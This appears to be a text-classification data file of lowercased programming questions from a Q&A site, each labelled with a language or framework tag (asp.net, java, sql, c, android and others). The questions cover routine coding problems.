captchalength= 5                              captchaheight= 60  captchawidth= 200  captchamintimeout= 5  captchamaxtimeout= 240                              fontcolor= #d20b0c  noisecolor= #b1b1b1  height= 40px  width= 199px  captchachars= abcdefghijklmnopqrstuvwxyz  /&gt;                         &amp;nbsp;                         &lt;asp:imagebutton id= imagebutton10  runat= server  imageurl= ~/registration/images/loading.jpg                              onclick= imagebutton1_click  style= z-index: 1; left: 394px; top: 463px; position: absolute;                             height: 36px; width: 39px  /&gt;                     &lt;/contenttemplate&gt;                 &lt;/asp:updatepanel&gt;             &lt;/td&gt;             &lt;td class= style8 &gt;                 &lt;asp:label id= label3  runat= server  text= 2 &gt;&lt;/asp:label&gt;                 &lt;asp:updatepanel id= updatepanel3  runat= server &gt;                     &lt;contenttemplate&gt;                         &lt;cc1:captchacontrol id= captcha2  runat= server  captchabackgroundnoise= low  captchalength= 5                              captchaheight= 60  captchawidth= 200  captchamintimeout= 5  captchamaxtimeout= 240                              fontcolor= #d20b0c  noisecolor= #b1b1b1  height= 40px  width= 199px  captchachars= 123467890  /&gt;                         &amp;nbsp;                         &lt;asp:imagebutton id= imagebutton3  runat= server  imageurl= ~/registration/images/loading.jpg                              onclick= imagebutton3_click  style= z-index: 1; left: 724px; top: 465px; position: absolute;                             width: 39px; height: 35px  /&gt;                     &lt;/contenttemplate&gt;                 &lt;/asp:updatepanel&gt;                 &lt;br /&gt;                 &amp;nbsp;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style19 &gt;                 &lt;asp:label id= label4  runat= server  text= 3 &gt;&lt;/asp:label&gt;                 &lt;asp:updatepanel id= updatepanel4  runat= server &gt;                     &lt;contenttemplate&gt;                         &lt;cc1:captchacontrol id= captcha3  runat= server  captchabackgroundnoise= low  captchalength= 5                              captchaheight= 60  captchawidth= 200  captchamintimeout= 5  captchamaxtimeout= 240                              fontcolor= #d20b0c  noisecolor= #b1b1b1  height= 40px  width= 199px  /&gt;                         &amp;nbsp;                         &lt;asp:imagebutton id= imagebutton1  runat= server  imageurl= ~/registration/images/loading.jpg                              onclick= imagebutton1_click  style= z-index: 1; left: 395px; top: 541px; position: absolute;                             height: 36px; width: 39px  /&gt;                     &lt;/contenttemplate&gt;                 &lt;/asp:updatepanel&gt;             &lt;/td&gt;             &lt;td class= style11 &gt;                 &lt;asp:label id= label5  runat= server  text= 4 &gt;&lt;/asp:label&gt;                 &lt;asp:updatepanel id= updatepanel5  runat= server &gt;                     &lt;contenttemplate&gt;                         &lt;cc1:captchacontrol id= captcha4  runat= server  captchabackgroundnoise= low  captchalength= 5                              captchaheight= 60  captchawidth= 200  captchamintimeout= 5  captchamaxtimeout= 240                              fontcolor= #d20b0c  noisecolor= #b1b1b1  height= 40px  width= 199px  captchachars= abcdefghijklmnopqrstzxacdefghjklnpqrtuvxyz2346789  /&gt;                         &amp;nbsp;                         &lt;asp:imagebutton id= imagebutton5  runat= server  imageurl= ~/registration/images/loading.jpg                              onclick= imagebutton5_click  style= z-index: 1; left: 728px; top: 540px; position: absolute;                             width: 39px; height: 36px  /&gt;                     &lt;/contenttemplate&gt;                 &lt;/asp:updatepanel&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style14  rowspan= 2 &gt;                 &lt;p class= style17 &gt;                     enter captcha&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; number&lt;/p&gt;             &lt;/td&gt;             &lt;td colspan= 2  class= style16 &gt;                 &lt;asp:updatepanel id= updatepanel1  runat= server &gt;                     &lt;contenttemplate&gt;                         &lt;asp:textbox id= textbox6  runat= server &gt;&lt;/asp:textbox&gt;                         &lt;asp:button id= button2  runat= server  style= z-index: 1; left: 357px; top: 597px;                             position: absolute; width: 120px; right: 818px  text= ok  onclick= button2_click  /&gt;                         &lt;asp:textbox id= textbox7  runat= server  style= z-index: 1; left: 170px; top: 668px;                             position: absolute; height: 31px; width: 165px &gt;&lt;/asp:textbox&gt;                         &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;                         &lt;asp:customvalidator id= customvalidator1  errormessage= invalid. please try again.                              onservervalidate= validatecaptcha  runat= server  /&gt;                     &lt;/contenttemplate&gt;                 &lt;/asp:updatepanel&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td colspan= 2  class= style20 &gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td class= style5 &gt;                 &lt;asp:button id= button1  runat= server  text= register  onclick= button1_click  backcolor= black                      borderstyle= inset  forecolor= white  width= 134px  height= 32px  /&gt;             &lt;/td&gt;             &lt;td colspan= 2 &gt;                 &lt;asp:label id= label1  runat= server &gt;&lt;/asp:label&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; </code></pre>,asp.net
iterator for loops with break  let say my code look like below   <pre><code>for(..)   for(..)     for(..){             break;  //this will break out from the most inner loop or all 3 iterated loops      } </code></pre>,java
redirect to page before login  right now i have a problem with login. i want the user to go the previous page where he/she pressed the login-button. in my code right now i just have redirect_to back which just sends the user back one level but i want it to be two levels. how do i do that    <pre><code>class sessionscontroller &lt; applicationcontroller     def new     end      def create         user = user.find_by(email: params[:session][:email].downcase)         if user &amp;&amp; user.authenticate(params[:session][:password])             sign_in user             redirect_to back         else             flash.now[:error] =  invalid email/password combination              render  new          end     end      def destroy         sign_out         redirect_to root_url     end  end </code></pre>   thanks!,ruby-on-rails
multiple processes using fork()  i m using this to set up a process in my main:   <pre><code> pid = fork();  if (pid == 0)        childprocess();  else        parentprocess(); </code></pre>   how would i go about setting more processes  say for example x4 of them,c
how to get element value using angularjs   i m trying to get the attribute value of element but return undefined.    html   <pre><code>&lt;button id= myid  ng-click= hi($event) &gt;click me&lt;/button&gt; </code></pre>   js   <pre><code>$scope.hi = function (e) {    var elem = angular.element(e.srcelement);    alert(elem.attr( id ));  } </code></pre>   why i get undefined,angularjs
sql filter out customers if two records match criteria  ok  i want to only show customers where they don t have multiple records with different billing codes.  billing codes are static.   <pre><code>orderid   customerid    billing code -------------------------------------    1            1           1    2            1           2    3            2           1    4            3           2 </code></pre>   so in this case  i would want to show <code>orderid</code> s 3 and 4 and not 1 and 2  because <code>customerid</code> of 1 has entries for billing codes 1 and 2.    thank you.,sql
a char copying function  i am trying to write a function that will allow me to use a function i wrote called strlength to count a number of characters passed  then will mallocate the number in addition to a null terminator  then copy the characters and return the copy.    so far i have:   <pre><code>int strlength(char* tocount) {     int count = 0;      while(*tocount !=  \0 )     {         count++;         tocount++;     }      return count; }  char* strcopy(char *s) {     int length = strlength(s);      char *copy = malloc(length+1);      while(s !=  \0 )     {          s++;     }      return copy; } </code></pre>   strcopy is the function i need help with. i also can not use strcpy or memcpy  i m just writing this on my own to create my own string library. i think before the <code>s++</code> i should have something along the lines of <code>copy += s</code> but i am not sure that would work.    i am a bit of a newbie  so please bear with me,c
how to get checked items from a custom adapter   the listview i used has custom xml and adapter. i want to get the checked items from this listview from anywhere. my xml is here:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= wrap_content  &gt;      &lt;checkbox         android:id= @+id/cb          android:layout_width= wrap_content          android:layout_height= wrap_content          android:paddingtop= 15dp          android:paddingbottom= 30dp          android:focusable= false          android:focusableintouchmode= false  /&gt;      &lt;textview         android:id= @+id/text          android:layout_width= wrap_content          android:layout_height= wrap_content          android:textsize= 15sp          android:textstyle= bold          android:paddingtop= 15dp          android:paddingright= 15dp          android:paddingleft= 50dp          android:text= item  /&gt;      &lt;textview         android:id= @+id/text2          android:layout_width= wrap_content          android:layout_height= wrap_content          android:textsize= 12sp          android:paddingright= 15dp          android:paddingbottom= 15dp          android:paddingleft= 50dp          android:text= subtitle          android:layout_below= @+id/text  /&gt;  &lt;/relativelayout&gt; </code></pre>   my adapter is here:   <pre><code>private final list&lt;model&gt; list; private final list&lt;model&gt; list2; private final activity context; boolean checkall_flag = false; boolean checkitem_flag = false;  public adapter(activity context  list&lt;model&gt; list  list&lt;model&gt; list2) {     super(context  r.layout.listview  list);     this.context = context;     this.list = list;     this.list2 = list2; }  static class viewholder {     protected textview text;     protected textview text2;     protected checkbox checkbox; }  @override public view getview(int position  view convertview  viewgroup parent) {      viewholder viewholder = null;     if (convertview == null) {         layoutinflater inflator = context.getlayoutinflater();         convertview = inflator.inflate(r.layout.listview  null);         viewholder = new viewholder();         viewholder.text = (textview) convertview.findviewbyid(r.id.text);         viewholder.text2 = (textview) convertview.findviewbyid(r.id.text2);         viewholder.checkbox = (checkbox) convertview.findviewbyid(r.id.cb);         viewholder.checkbox.setoncheckedchangelistener(new compoundbutton.oncheckedchangelistener() {              @override             public void oncheckedchanged(compoundbutton buttonview  boolean ischecked) {                 int getposition = (integer) buttonview.gettag();                 list.get(getposition).sec(buttonview.ischecked());             }         });         convertview.settag(viewholder);         convertview.settag(r.id.text  viewholder.text);         convertview.settag(r.id.text2  viewholder.text2);         convertview.settag(r.id.cb  viewholder.checkbox);         } else {         viewholder = (viewholder) convertview.gettag();     }      viewholder.checkbox.settag(position);      viewholder.text.settext(list.get(position).isimgetir());     viewholder.text2.settext(list2.get(position).isimgetir());     viewholder.checkbox.setchecked(list.get(position).secilimi());      return convertview; } </code></pre>   my aim is that getting checked items from a method placed in main activity. however i cannot catch the values of checkboxes because of they re custom.,android
.get() method in jquery  i want to know about <code>.get()</code> method in jquery. i just read the blog on <a href= http://api.jquery.com/get/  rel= nofollow >http://api.jquery.com/get/</a> about the <code>.get()</code> method. i am using the same html but it is not giving the result as shown in document. can anyone explain <code>.get()</code> in a practical way. what  when  and how to use it.   <pre><code>&lt;ul&gt;   &lt;li id= foo &gt;foo&lt;/li&gt;   &lt;li id= bar &gt;bar&lt;/li&gt; &lt;/ul&gt;  &lt;script&gt;     $(function(){alert($( li ).get())}) &lt;/script&gt; </code></pre>,jquery
load a specific section first in asp.net  the right panel in the page which is full of banners need to load before or side-by-side the left panel. the problem is that left panel is full of data and it s taking so much time to load so the right panel never show up before the left panel loading completes. can somesone tell me how to load the right panel first or side by side,asp.net
how to get date month year using loop function  i wanted to make a function  from where i can get date   month   year  but i m unable to write functions for that also i don t know how to call those function in drop down menus    for example   <pre><code>function get_date(){         for($i=1;$i&lt;31;$i++){ &gt;            &lt; php return  &lt;option value= $i &gt;  $i &lt;/option&gt; ;        } </code></pre>   now if i  called it in select menu    <pre><code>&lt;select &gt;  echo get_date(); &lt;/select&gt; </code></pre>   it returns echo $i kindly guide me where i went wrong,php
show real error instead of genericerrorpage in asp.net  my program is already attached in the iis. when there is an error  it only shows the genericerrorpage. i want to see the real error. is there any way,asp.net
getting type safety conversion  getting type safety conversion warning from below code.   <pre><code>list&lt;map&lt;string  object&gt;&gt; batchvalues = new arraylist&lt;&gt;(entity.size());  int[] noofrecords = namedparameterjdbctemplate.batchupdate(updatequery  batchvalues.toarray(new map[entity.size()])); </code></pre>  <blockquote>    batchvalues.toarray(new map[entity.size()]) type safety: the   expression of type map[] needs unchecked conversion to conform to   map[]  </blockquote>   if i used <code>@suppresswarnings( unchecked )</code> this annotation on method level then it s resolved the issue.    what is the best solution to resolve the issue,java
get root directory on jailbroken device with mobiledeviceaccess  i try to get root directory on my jailbroken device (using mobiledeviceaccess lib)  but it only show contents dislike <code>root</code> directory on my device.      my code here:   <pre><code>afcrootdirectory *rootdirectory = [device newafcrootdirectory]; nsarray *rootcontent = [rootdirectory directorycontents:@  ]; nslog(@ root = %@   rootcontent); </code></pre>   logs:   <pre><code>2017-09-19 16:59:11.736 device hid[22258:13856986] root = (     diagnosticlogs      retired       com.apple.itunesstored  ) </code></pre>   help me  please!,objective-c
can i do a multi key join in sql   need some help with this query. i m trying to create a query which selects all parent details and i have another table to attach which is called family. the problem i have is that the family table contains a familylistid field which contains the primary keys for pupil and parents separated via carriage return. of course there may be be several id s in there as the pupils may have siblings so this is all stored in this field.    is there a way i can join multi pupil.pk_pupilid  father.pk_personid  mother.pk_personid to relate to family.familylistid  bearing in mind that there may not be father.pk_personid or a mother.pk_personid depending on the circumstance of the pupil. hope that makes sense - i know there needs to be a join table realistically between family and pupil but this is the structure i currently have to work with.   <pre><code>select      pupil.pk_pupilid  pupildata.title  pupildata.forename       pupildata.surname  pupildata.preferredforename       father.pk_personid  father.title  father.forename  father.surname       mother.pk_personid  mother.title  mother.forename  mother.surname       pupil.form       address.address1  address.address2  address.towncity  address.postcode       address.country  address.county   from     pupil  left join      person as pupildata on pupil.pk_pupilid = pupildata.pk_personid left join      relation as rfather on pupil.pk_pupilid = rfather.fk_personid  left join      person as father on rfather.fk_relatedpersonid = father.pk_personid left join      relation as rmother on pupil.pk_pupilid = rmother.fk_personid  left join      person as mother on rmother.fk_relatedpersonid = mother.pk_personid  left join      personaddress as pa on pupil.pk_pupilid = pa.fk_personid  left join      address on pa.fk_addressid = address.pk_addressid  where      pupil.pk_pupilid in (   &amp; pks &amp;   )      and rfather.relationship in ( father    stepfather )        or rmother.relationship in ( mother    stepmother )      and address.primaryaddress = 1  order by      pupildata.forename asc  </code></pre>,sql
code which support landscape and portrait in iphone  how can i write my code which supports both landscape and portrait  i tried this one -    <pre><code>(void)setupfororientation:(uiinterfaceorientation)orientation {     if (uiinterfaceorientationisportrait(orientation)) {         cgrect bounds = cgrectmake(0  0  768  1004);         scrollview.frame = bounds;         // other view positioning for portrait.     } else {         cgrect bounds = cgrectmake(0  0  1024  748);         scrollview.frame = bounds;         // other view positioning for landscape.     }     [self drawbackgroundfororientation:orientation]; } </code></pre>   but its not working. please help me.,iphone
sql count from 2 tables  background: there are multiple dbparentproductkeys associated with a pog.id.    i need to count the number of pog.dbkeys that occurs. right now the results count total pog.ids in the total database for value4  but i want the count associated with the dbparentproductkey.   <pre><code>select distinct      count(pog.dbkey) as total      pos.dbparentproductkey  from     ix_spc_planogram as pog with (nolock)  ix_spc_position as pos with (nolock)       ix_spc_product as pro with (nolock)  where      pog.dbkey = pos.dbparentplanogramkey     and pog.value4 = 358  group by      pog.dbkey  pos.dbparentproductkey </code></pre>,sql
using doctests from within unittests  i typically write both unittests and doctests in my modules. i d like to automatically run all of my doctests when running the test suite. i think this is possible  but i m having a hard time with the syntax.    i have the test suite   <pre><code>import unittest class ts(unittest.testcase):     def test_null(self): self.asserttrue(true) if __name__ ==  __main__ : unittest.main() </code></pre>   i d like to add to this suite all of the doctests in module <code>module1</code>. how can i do this  i ve read the <a href= http://docs.python.org/library/doctest.html#unittest-api  rel= noreferrer >python docs</a>  but i m not any closer to success  here. adding the lines   <pre><code>import doctest import module1 suite = doctest.doctestsuite(module1) </code></pre>   doesn t work. <code>unittest.main()</code> searches through the current file scope and runs every test <strong>case</strong> it finds  right  but doctestsuite produces a test <strong>suite</strong>. how do i get <code>unittest.main()</code> to run the additional cases in the suite  or am i just confused and deluded      once again  i d be grateful for any help anyone can offer.,python
how to run a function in an angularjs directive  i have this directive:    <pre><code>.directive( reorderdiv   function ($compile) {     return function (scope  elem  attrs) {          function shuffle(array) {             var currentindex = array.length  temporaryvalue  randomindex;              // elemente             while (0 !== currentindex) {                  // die restlichen elemente                 randomindex = math.floor(math.random() * currentindex);                 currentindex -= 1;                  temporaryvalue = array[currentindex];                 array[currentindex] = array[randomindex];                 array[randomindex] = temporaryvalue;             }              return array;         }         elem.on( click   function () {            console.log( called );           var divs = angular.element(document.queryselector( .center ));           console.log(divs);            divs = shuffle(divs);           var content = $compile(divs)(scope);           elem.append(content);         })     } }) </code></pre>   my goal is  that if the view loads it should run the function <code>shuffle</code> and not on a click on the element. how can i do this      i tried to use <code>elem.on( load )[...]</code> but this didn t work. could somebody explain me  why this does not work,angularjs
sql insert or replace gives error  i have a table  bids  with some data already stored in it on my local. i have generated an insert query from the production database and i am trying to update the local db using an  insert or replace into  command:   <pre><code>insert  or replace  into   [dbo].[bids]([id]  [projectname]  [country]  [requestdate]                 [custdecdate]  [producttype]  [quantity]  [forbid]                [inbudgetpcs]  [inbudgettt]  [chancespcs]  [chancestt]                 [valuepcs]  [valuett]  [marginpcs]  [margintt]  [notes]                 [customername]) </code></pre>   i get two errors:    <blockquote>    syntax not correct near replace   </blockquote>   and    <blockquote>    when identity insert is off it is not possible to insert an explicit value into column identity....  </blockquote>   how can i solve this problem,sql
trying to create simple java menu  but its not working  this is the code. i gives me an error where the switch is. please help. maybe a link to a site where i can learn this.   <pre><code>public class main{ public static void main(string[] args) {     int swvalue;      system.out.println( ***************************************menu*************************************** );     system.out.println( spauskite 1 jei norite atspauzdinti programje sukurtu objektu sarasus );     system.out.println( spauskite 2 jei norite sukurti naujus objektus  ju duomenis ivedant is klavieturos );     system.out.println( spauskite 3 jei norite iskviesti objektu metodus );      switch (swvalue) {     case 1: system.out.println( 1 selected );         break;     case 2: system.out.println( 2 selected );         break;     case 3: system.out.println( 3 selected );         break;     default: system.out.println( invalis selection );     break;     } </code></pre>,java
long type equality  how is the following possible     <img src= https://i.stack.imgur.com/bxtjb.png  alt= enter image description here >    we have two longs with equal vlaues but they are not equal...,.net
c# displaying documentation on method when dot operator is invoked on a class  is there a way programmatically to document methods in a class and have the documentation display just like when a user invokes the dot operator (for example  string.[method]) and can look at what a specific method within a class does   see screen shot. i want to create custom methods for a class in c# and then document that. then when the user uses that class and then initiates the dot operator (.)  they will be presented with the method and the documentation that describes that method    <a href= https://i.stack.imgur.com/76tkv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/76tkv.png  alt= enter image description here ></a>,c#
error in uploading audio file to server in android  please tell me why am i getting this error    <pre><code>httpurlconnection conn = null;         dataoutputstream dos = null;         datainputstream instream = null;         string lineend =  rn ;         string twohyphens =  -- ;         string boundary =   ***** ;         int bytesread  bytesavailable = 0  buffersize;         byte[] buffer;         int maxbuffersize = 1*1024*1024;         string responsefromserver =   ;         string urlstring =  http://thinksl.com/taughtable/audiopost.php ;         try         {          //------------------ client request         fileinputstream fileinputstream = new fileinputstream(new file(path) );          // open a url connection to the servlet          url url = new url(urlstring);          // open a http connection to the url          conn = (httpurlconnection) url.openconnection();          // allow inputs          conn.setdoinput(true);          // allow outputs          conn.setdooutput(true);          // don t use a cached copy.          conn.setusecaches(false);          // use a post method.          conn.setrequestmethod( post );          conn.setrequestproperty( connection    keep-alive );            conn.setrequestproperty( content-type    multipart/form-data;boundary= +boundary);          conn.setrequestproperty( userfile  path);          dos = new dataoutputstream( conn.getoutputstream() );          dos.writebytes(twohyphens + boundary + lineend);           dos.writebytes( content-disposition: form-data; name=\ userfile\ ;filename=\   +path+  \   + lineend);          log.e( debug    filename:   +path);          buffersize = math.min(bytesavailable  maxbuffersize);          buffer = new byte[buffersize];          // read file and write it into form...          bytesread = fileinputstream.read(buffer  0  buffersize);          while (bytesread &gt; 0)          {           dos.write(buffer  0  buffersize);           bytesavailable = fileinputstream.available();           buffersize = math.min(bytesavailable  maxbuffersize);           bytesread = fileinputstream.read(buffer  0  buffersize);          }          // send multipart form data necesssary after file data...          dos.writebytes(lineend);          dos.writebytes(twohyphens + boundary + twohyphens + lineend);          // close streams          log.e( debug   file is written );          fileinputstream.close();          dos.flush();          dos.close();         }         catch (malformedurlexception ex)         {              log.e( debug    error:   + ex.getmessage()  ex);         }         catch (ioexception ioe)         {              log.e( debug    error:   + ioe.getmessage()  ioe);         }         //------------------ read the server response         try {               instream = new datainputstream ( conn.getinputstream() );               string str;                while (( str = instream.readline()) != null)               {                    log.e( debug   server response  +str);               }               instream.close();          }         catch (ioexception ioex){              log.e( debug    error:   + ioex.getmessage()  ioex);     } </code></pre>   log cat   <blockquote>    server response   { result :0  post :[]  files :[]  filename :null  message : there was   an error uploading the file  please try again! }  </blockquote>,android
delete and renaming file having issues  i got 2 functions which i created 1 is to change password and 1 to delete the file. so my intention is to run the change password feature first followed by doing the delete file. the code runs properly and creates the new password in a new file. but it does not work when trying to delete the file &amp; renaming need some help pls   <pre><code>public static void replaceadminpassword()throws ioexception{      try {          scanner read = new scanner(system.in);         system.out.println( enter old password:  );         string oldpass = read.nextline();         string userphash = utility.gethash(oldpass);         system.out.println( enter new password:  );         string newpass = read.nextline();         string usernhash = utility.gethash(newpass);           read = new scanner(new file( admin.dat ));         string line;         string[] details;         string input =   ;           file fout = new file( out.dat );         fileoutputstream fos = new fileoutputstream(fout);          bufferedwriter bw = new bufferedwriter(new outputstreamwriter(fos));          while (read.hasnextline()){             line = read.nextline();             details = line.split( \\| );              if(details[0].equalsignorecase(userphash)){                 input = usernhash;                 bw.write(input);                 system.out.println( password changed. );             }           }         bw.close();         replaceadminfile();      }catch (filenotfoundexception ex){         system.out.println( file not found );     }  }      public static void replaceadminfile(){     file oldfile = new file( admin.dat );     file newfile = new file( out.dat );     oldfile.delete();     newfile.renameto(oldfile);  } </code></pre>,java
upgrade .net framework 2.0 to 4.5  i have upgraded my asp.net 2.0 project to 4.5 by using visual studio 2012. it is building fine  but will i have to test each webform in the browser or will it be converted 100% automatically  without the .net framework 2.0  will the converted project work fine,.net
keyboard input data type in phython  i am currently working in an embedded project. in my project i want to compare two values.     the first value is an integer(0) and the second one is the keyboard input (and it also should be an integer).      whenever i try running the code it shows:   <pre><code>{typeerror: unorderable types: int() &lt; str()} </code></pre>   how to overcome this typeerror     the code is:   <pre><code>import sys import time import rpi.gpio as gpio import collections  c = collections.counter() c=0   required_position=0 current_position=0 pulse_generated=0 req=0  gpio.setwarnings(false) gpio.setmode(gpio.bcm) gpio.setup(23 gpio.out)            gpio.setup(24 gpio.out) gpio.setup(9 gpio.out) gpio.setup(10 gpio.out) gpio.setup(13 gpio.out) gpio.setup(19 gpio.out)  mode_1=(8 10 15) gpio.setup(mode_1 gpio.out) mode_1=(17 27 22) gpio.setup(mode_1 gpio.out) resolution={      1 :(0 0 0)       1/2 :(1 0 0)       1/4 :(0 1 0)       1/8 :(1 1 0)       1/16 :(0 0 1)       1/32 :(1 0 1)      }   def current_position_calculation():     global required_position     global current_position     global pulse_generated     current_position=pulse_generated*6  def required_distance():     global required_position     global current_position     global pulse_generated     print( position of stepper motor are               z for homeposition(0 deg)                a for 10 degree                b for 20 degree                d for 30 degree                e for 40 degree                f for 50 degree                g for 60 degree  )      req=input( choose your required position )     required_position=req     if required_position==current_position:         gpio.output(23 true)         while current_position!=required_position:             gpio.output(24 true)             time.sleep(t)             gpio.output(24 false)             time.sleep(t)             current_position+=1             c+=1     elif current_position&lt;required_position:         gpio.output(23 false)         while current_position&gt;required_position:             gpio.output(24 true)             time.sleep(t)             gpio.output(24 false)             time.sleep(t)             current_position-=1             c-=1 def previous_position():     global required_position     global current_position     global pulse_generated     if current_position&gt;required_position:         pulse_generated=required_position-currentposition     elif current_position&lt;required_position:         pulse_generated=currentposition-required_position  while true:     current_position_calculation()     required_distance()     previous_position() </code></pre>   here is my full code with initialisation.    the mcve of my code is   <pre><code>import sys import time  a=0 b=input( enter the value  )  if a&lt;b:     a+=1     print(a) else:     a-=1     print(a) </code></pre>   error:   <pre><code>enter the value a traceback (most recent call last):   file  /home/pi/mcve.py   line 7  in &lt;module&gt;     if a&lt;b: typeerror: unorderable types: int() &lt; str() &gt;&gt;&gt;  </code></pre>   for entering integer value:   <pre><code>enter the value 0 traceback (most recent call last):   file  /home/pi/mcve.py   line 7  in &lt;module&gt;     if a&lt;b: typeerror: unorderable types: int() &lt; str() &gt;&gt;&gt;  </code></pre>,python
add width= 200  height= 200  to onmouseover  so  i currently have an image that is 400x400 pixels. when scaled externally to 200x200 it looks pixilated. i ve therefore added it to wordpress as 400x400 but scaled it down as follows:        however  i m now trying to add an onmouseover event  with the scaled down image.    it works fine for the normal image  like this:    https://y.png   onmouseout= this.src= <a href= https://x.png  rel= nofollow >https://x.png</a>   />    but if i try and scale the image  as follows  it doesn t work:    https://y.png  width= 200  height= 200   onmouseout= this.src= <a href= https://x.png  rel= nofollow >https://x.png</a>   />    please note i ve left the source of the image out and replaced with  x  and  y .    does anyone know how to resolve this please     thanks all.,html
what is the meaning of the following code   could anyone tell me what is the meaning of the following code :    <pre><code>unsigned char  const *display_screen[] = {      \xfexepc main menu:\n\35system status\n system settings\n access control            \xfexepc main menu:\n system status \n\35system settings\n access control        \xfexepc main menu:\n system status \n system settings\n\35access control        \xfexepc main menu:\n\35configuration\n op.programming\n event log          \xfexepc main menu:\n configuration\n\35op.programming\n event log          \xfexepc main menu:\n configuration\n op.programming\n\35event log          \xfexepc main menu:\n\35history            \xfexepc main menu:\n }; </code></pre>   thank you.,c
replacing cell data  there is a table i am accessing from a remote server  and in this table there is a word  blah blah . how do i get rid of this or replace it     i tried the codes below but since i don t know if  blah blah  is in a table cell  a table row  or a header  etc.  i can t seem to get rid of it or replace it:   <pre><code>$( tr.header ).filter(function(){ return $(this).text() ==  blah blah ;}).text(  ); $( td.header ).filter(function(){ return $(this).text() ==  blah blah ;}).text(  ); </code></pre>    blah blah  is right in the middle above the table retrieved by document.getelementbyid( datatable ).innerhtml=xmlhttp.responsetext;. please help. thank you.,jquery
how can you distribute an app for testing if apple reject it from testflight   i have an app i wish to distribute to people for testing and evaluation.  the app is not intended for release to the app store. i tried to add it to testflight anyway but during testflight review apple rejected it as its breaking an app store submission rule (why do they even need to bother reviewing testflight submissions when its not even been submitted to the app store yet ).    the latest versions of itunes no longer has the ability to install an .ipa so that method of installation is no longer available.    diawi is useful  but the lifetime that links on there are active is just a few days.    is there some other easy alternative,ios
how to assign a value to an array element in c language  <pre><code>#include &lt;malloc.h&gt;  void main() {    char **variable;    int count=0     variable=(char **)malloc(sizeof(char *)*100);     for(i=0;i&lt;100;i++)      variable[i]=(char *)malloc(sizeof(char)*11);     scanf( %s  variable[count]); } </code></pre>   now i want to assign a value to the string present in variable[count] for example: if <code>variable[count]</code> contains a string  abc  then i want to assign 20 to abc and if i use printf( %d  abc) then it should print 20,c
reformat the string after removing a word from it  i have a string as  aass mon 01 2013 365.00 hjj call     i need to remove the string hjj from the above string and need the output as    aass mon 01 2013 365.00 hjj call    i tried the following thing    <pre><code>if(symbol.contains( hjj )) { symbol = symbol.replace( hjj    ); } </code></pre>   but with this i am getting output as   <pre><code>aass mon 01 2013 365.00  call  ( one extra space before call ) </code></pre>   where i want it to be    <pre><code>aass mon 01 2013 365.00 call </code></pre>,java
init function runs multiple times  i have a problem with my javascript code. i have an init function that calls a function  getdevices() and then writes a console message. the getdevices function has a 4d array  that is used as a parameter to a new function called objectify. this function will create an object of the 4d array data. but my problem is that when i do a push to a another array where the new objects will be stored the init function runs again.   <pre><code>vm = this; vm.dataobj = [];  (function init(){     getdata();     console.debug( im in init! );  })();  function getdata(){     var data = [       [1  2  3  4]        [1  2  3  4]        [1  2  3  4]        [1  2  3  4]     ];     objectify(data); }     function objectify(dataarray){         vm.dataobj = [];         for(var i=0; i &lt; dataarray.length; i++ ){             vm.dataobj .push({                 nr1: dataarray[i][0]                  nr2: dataarray[i][1]                  nr3: dataarray[i][2]                  nr4: dataarray[i][3]             });         }     } </code></pre>   from the code above the console message  im in init  is run 5 times  but when i remove the push the console message is only written once. how is this possible,javascript
how get return of foreach in angular 2   i do not know if the question should be directed to typescript or angular 2    how get return of foreach in angular 2     i have the following:   <pre><code>let info = this.array.foreach((i  index) =&gt; {     .....     .....     return res;  });  console.log(info); </code></pre>   has returned -> undefined    does anyone know how to get this return,javascript
retrieve json data depending on current url in angularjs  i m using angularjs to display a list of images fetched via json. right now i have the json url statically coded  but i d like to have the json url change depending on the current page.    for example  if i m on /albums/test123 the url retrieved would be /j/albums/test123    how can i do this     html   <pre><code>&lt;div data-ng-controller= albumcontroller &gt;   &lt;ul class= album_list &gt;     &lt;li data-ng-repeat= img in media_list &gt;       &lt;img data-ng-src= ((img.s1_url))  data-ng-style= height: {{img.s1_height}}px; width: {{img.s1_width}}px;  /&gt;     &lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt; </code></pre>   main.js   <pre><code>var myapp = angular.module( myapp   []); myapp.config(function($interpolateprovider){   $interpolateprovider.startsymbol( (( ).endsymbol( )) );   } );  myapp.controller( albumcontroller   function($http  $scope){   $http.get( /j/albums/album52 ).success(function(data) {     $scope.media_list = data;   }); }); </code></pre>,angularjs
unique identification of ios device  i was using mac address for unique identification of the ios device  but from ios7 the system always returns 02:00:00:00:00:00 value. i had searched three options for the mentioned issue:    <ol> <li>vendor identification</li> <li>advertising identification</li> <li>getting serial number using iounit framework</li> </ol>   since the iounitframework is not approved by appstore  cant use it in my application. and the vendor identification and advertising identification return very long values.    is there any other possible way to uniquely identify the ios device     thanks in advance    storing a unique identifier in keychain is another option. but we can t access the keychain directly from our ios device.so is there any other alternative way for unique identification of the device,ios
